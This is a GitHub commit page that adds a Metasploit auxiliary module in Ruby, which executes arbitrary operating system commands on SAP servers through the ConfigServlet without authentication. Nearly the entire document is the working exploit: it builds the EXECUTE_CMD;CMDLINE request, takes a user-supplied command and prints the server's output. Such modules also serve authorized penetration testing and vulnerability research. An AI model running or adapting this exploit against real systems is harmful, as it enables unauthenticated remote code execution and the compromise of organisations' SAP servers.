Skip to content

Commit 8f76c43

Browse files
committed
SAP ConfigServlet OS Command Execution module
This module allows execution of operating system commands throug the SAP ConfigServlet without any authentication.
1 parent 4e8d32a commit 8f76c43

File tree

1 file changed

+63
-0
lines changed

1 file changed

+63
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Auxiliary
4+
Rank = ExcellentRanking
5+
include Msf::Exploit::Remote::HttpClient
6+
include Msf::Auxiliary::Scanner
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'SAP ConfigServlet OS Command Execution',
11+
'Description' => %q{
12+
This module allows execution of operating system commands through
13+
the SAP ConfigServlet without any authentication.
14+
},
15+
'Author' =>
16+
[
17+
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
18+
'Andras Kabai' # Metasploit module
19+
],
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
24+
],
25+
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
26+
))
27+
28+
register_options(
29+
[
30+
Opt::RPORT(50000),
31+
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
32+
OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
33+
OptBool.new('SSL', [true, 'Use SSL', false])
34+
], self.class)
35+
end
36+
37+
def run_host(ip)
38+
begin
39+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
40+
res = send_request_cgi(
41+
{
42+
'uri' => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
43+
'method' => 'GET'
44+
})
45+
if !res or res.code != 200
46+
print_error("#{rhost}:#{rport} - Exploit failed.")
47+
return
48+
end
49+
rescue ::Rex::ConnectionError
50+
print_error("#{rhost}:#{rport} - Failed to connect to the server")
51+
return
52+
end
53+
54+
if res.body.include?("Process created")
55+
print_good("#{rhost}:#{rport} - Exploited successfully\n")
56+
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
57+
print_line("#{rhost}:#{rport} - Output: #{res.body}")
58+
else
59+
print_error("#{rhost}:#{rport} - Exploit failed.")
60+
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
61+
end
62+
end
63+
end

0 commit comments

Comments
 (0)